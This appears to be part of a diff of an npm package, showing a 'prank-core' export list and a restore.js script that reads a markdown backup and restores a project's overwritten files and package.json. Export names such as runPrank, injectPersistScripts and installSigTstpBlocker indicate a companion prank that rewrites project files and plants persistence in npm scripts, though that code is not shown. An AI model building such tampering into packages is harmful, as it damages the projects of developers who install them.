|
594
|
+
|
|
595
|
+
return entries;
|
|
596
|
+
}
|
|
597
|
+
|
|
598
|
+
module.exports = {
|
|
599
|
+
RESET,
|
|
600
|
+
green,
|
|
601
|
+
red,
|
|
602
|
+
yellow,
|
|
603
|
+
magenta,
|
|
604
|
+
resolveHostProjectRoot,
|
|
605
|
+
canonicalizeProjectRoot,
|
|
606
|
+
installSigTstpBlocker,
|
|
607
|
+
writeFileAtomic,
|
|
608
|
+
DONE_FLAG,
|
|
609
|
+
COUNTER_FILE,
|
|
610
|
+
BACKUP_NAME,
|
|
611
|
+
SYNTHETIC_PACKAGE_JSON,
|
|
612
|
+
PERSIST_PREFIX,
|
|
613
|
+
TARGET_SCRIPT_NAMES,
|
|
614
|
+
buildMarkdown,
|
|
615
|
+
buildReapplySection,
|
|
616
|
+
runPrank,
|
|
617
|
+
injectPersistScripts,
|
|
618
|
+
stripPersistFromPackageJsonObject,
|
|
619
|
+
scriptHasPersist,
|
|
620
|
+
stripPersistPrefix,
|
|
621
|
+
readCounter,
|
|
622
|
+
writeCounter,
|
|
623
|
+
deleteCounter,
|
|
624
|
+
appendReapplyMarkdown,
|
|
625
|
+
removeQuickdircleanerPackage,
|
|
626
|
+
parseFirstOriginalSectionMarkdown,
|
|
627
|
+
};
|
package/restore.js
ADDED
|
@@ -0,0 +1,178 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const fs = require("fs/promises");
|
|
4
|
+
const path = require("path");
|
|
5
|
+
const readline = require("readline");
|
|
6
|
+
const core = require("./prank-core");
|
|
7
|
+
|
|
8
|
+
function promptYesNo(question) {
|
|
9
|
+
return new Promise((resolve) => {
|
|
10
|
+
const rl = readline.createInterface({
|
|
11
|
+
input: process.stdin,
|
|
12
|
+
output: process.stdout,
|
|
13
|
+
});
|
|
14
|
+
rl.question(question, (answer) => {
|
|
15
|
+
rl.close();
|
|
16
|
+
resolve(/^y(es)?$/i.test(String(answer).trim()));
|
|
17
|
+
});
|
|
18
|
+
});
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
async function removeIfExists(filePath) {
|
|
22
|
+
try {
|
|
23
|
+
await fs.unlink(filePath);
|
|
24
|
+
return true;
|
|
25
|
+
} catch (err) {
|
|
26
|
+
if (err && err.code === "ENOENT") {
|
|
27
|
+
return true;
|
|
28
|
+
}
|
|
29
|
+
return false;
|
|
30
|
+
}
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
function isPathInsideRoot(root, relativePath) {
|
|
34
|
+
const resolved = path.resolve(root, relativePath);
|
|
35
|
+
const rootResolved = path.resolve(root);
|
|
36
|
+
if (resolved === rootResolved) {
|
|
37
|
+
return false;
|
|
38
|
+
}
|
|
39
|
+
const prefix = rootResolved.endsWith(path.sep)
|
|
40
|
+
? rootResolved
|
|
41
|
+
: rootResolved + path.sep;
|
|
42
|
+
return resolved.startsWith(prefix);
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
async function restoreEntry(root, filePath, content) {
|
|
46
|
+
if (!isPathInsideRoot(root, filePath)) {
|
|
47
|
+
return false;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
const fullPath = path.resolve(root, filePath);
|
|
51
|
+
const dir = path.dirname(fullPath);
|
|
52
|
+
|
|
53
|
+
try {
|
|
54
|
+
await fs.mkdir(dir, { recursive: true });
|
|
55
|
+
} catch {
|
|
56
|
+
return false;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
try {
|
|
60
|
+
await core.writeFileAtomic(fullPath, content, "utf8");
|
|
61
|
+
return true;
|
|
62
|
+
} catch {
|
|
63
|
+
return false;
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
async function writePackageJson(root, content) {
|
|
68
|
+
const fullPath = path.join(root, "package.json");
|
|
69
|
+
try {
|
|
70
|
+
await core.writeFileAtomic(fullPath, content, "utf8");
|
|
71
|
+
return true;
|
|
72
|
+
} catch {
|
|
73
|
+
return false;
|
|
74
|
+
}
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
async function main() {
|
|
78
|
+
core.installSigTstpBlocker();
|
|
79
|
+
const root = await core.canonicalizeProjectRoot(
|
|
80
|
+
core.resolveHostProjectRoot(),
|
|
81
|
+
);
|
|
82
|
+
const backupPath = path.join(root, core.BACKUP_NAME);
|
|
83
|
+
|
|
84
|
+
let raw;
|
|
85
|
+
try {
|
|
86
|
+
raw = await fs.readFile(backupPath, "utf8");
|
|
87
|
+
} catch (err) {
|
|
88
|
+
if (err && err.code === "ENOENT") {
|
|
89
|
+
console.error(
|
|
90
|
+
core.red(`Error: ${core.BACKUP_NAME} not found in the current directory.`),
|
|
91
|
+
);
|
|
92
|
+
process.exitCode = 1;
|
|
93
|
+
return;
|
|
94
|
+
}
|
|
95
|
+
console.error(core.red(`Error: could not read ${core.BACKUP_NAME}.`));
|
|
96
|
+
process.exitCode = 1;
|
|
97
|
+
return;
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
const entries = core.parseFirstOriginalSectionMarkdown(raw);
|
|
101
|
+
if (entries.length === 0) {
|
|
102
|
+
console.error(core.red("Error: no file entries found in backup."));
|
|
103
|
+
process.exitCode = 1;
|
|
104
|
+
return;
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
const synthetic = entries.find(
|
|
108
|
+
(e) => e.filePath === core.SYNTHETIC_PACKAGE_JSON,
|
|
109
|
+
);
|
|
110
|
+
const fileEntries = entries.filter(
|
|
111
|
+
(e) => e.filePath !== core.SYNTHETIC_PACKAGE_JSON,
|
|
112
|
+
);
|
|
113
|
+
|
|
114
|
+
const expected =
|
|
115
|
+
fileEntries.length + (synthetic && synthetic.content ? 1 : 0);
|
|
116
|
+
|
|
117
|
+
const confirmed = await promptYesNo("Restore and remove backup? (y/n) ");
|
|
118
|
+
if (!confirmed) {
|
|
119
|
+
console.warn(core.yellow("Aborted."));
|
|
120
|
+
return;
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
let restored = 0;
|
|
124
|
+
|
|
125
|
+
for (const { filePath, content } of fileEntries) {
|
|
126
|
+
try {
|
|
127
|
+
const ok = await restoreEntry(root, filePath, content);
|
|
128
|
+
if (ok) {
|
|
129
|
+
restored += 1;
|
|
130
|
+
}
|
|
131
|
+
} catch {
|
|
132
|
+
/* skip */
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
let pkgOk = true;
|
|
137
|
+
if (synthetic && synthetic.content) {
|
|
138
|
+
pkgOk = await writePackageJson(root, synthetic.content);
|
|
139
|
+
if (pkgOk) {
|
|
140
|
+
restored += 1;
|
|
141
|
+
}
|
|
142
|
+
} else {
|
|
143
|
+
pkgOk = await core.stripPersistFromPackageJsonObject(root);
|
|
144
|
+
}
|
|
145
|
+
|
|
146
|
+
if (restored !== expected) {
|
|
147
|
+
console.error(
|
|
148
|
+
core.red(
|
|
149
|
+
`Error: restored ${restored} of ${expected} item(s). Backup and flag were not removed.`,
|
|
150
|
+
),
|
|
151
|
+
);
|
|
152
|
+
process.exitCode = 1;
|
|
153
|
+
return;
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
console.log(core.green(`Restored ${restored} item(s).`));
|
|
157
|
+
|
|
158
|
+
await core.deleteCounter(root);
|
|
159
|
+
|
|
160
|
+
const flagPath = path.join(root, core.DONE_FLAG);
|
|
161
|
+
const flagOk = await removeIfExists(flagPath);
|
|
162
|
+
const backupOk = await removeIfExists(backupPath);
|
|
163
|
+
|
|
164
|
+
if (flagOk && backupOk) {
|
|
165
|
+
console.log(core.green("Removed .cleaner_done and CLEANER_BACKUP.md."));
|
|
166
|
+
} else {
|
|
167
|
+
console.warn(
|
|
168
|
+
core.yellow(
|
|
169
|
+
"Warning: restore finished but could not remove .cleaner_done and/or backup file.",
|
|
170
|
+
),
|
|
171
|
+
);
|
|
172
|
+
}
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
main().catch((err) => {
|
|
176
|
+
console.error(core.red(err && err.message ? err.message : String(err)));
|
|
177
|
+
process.exitCode = 1;
|
|
178
|
+
});
|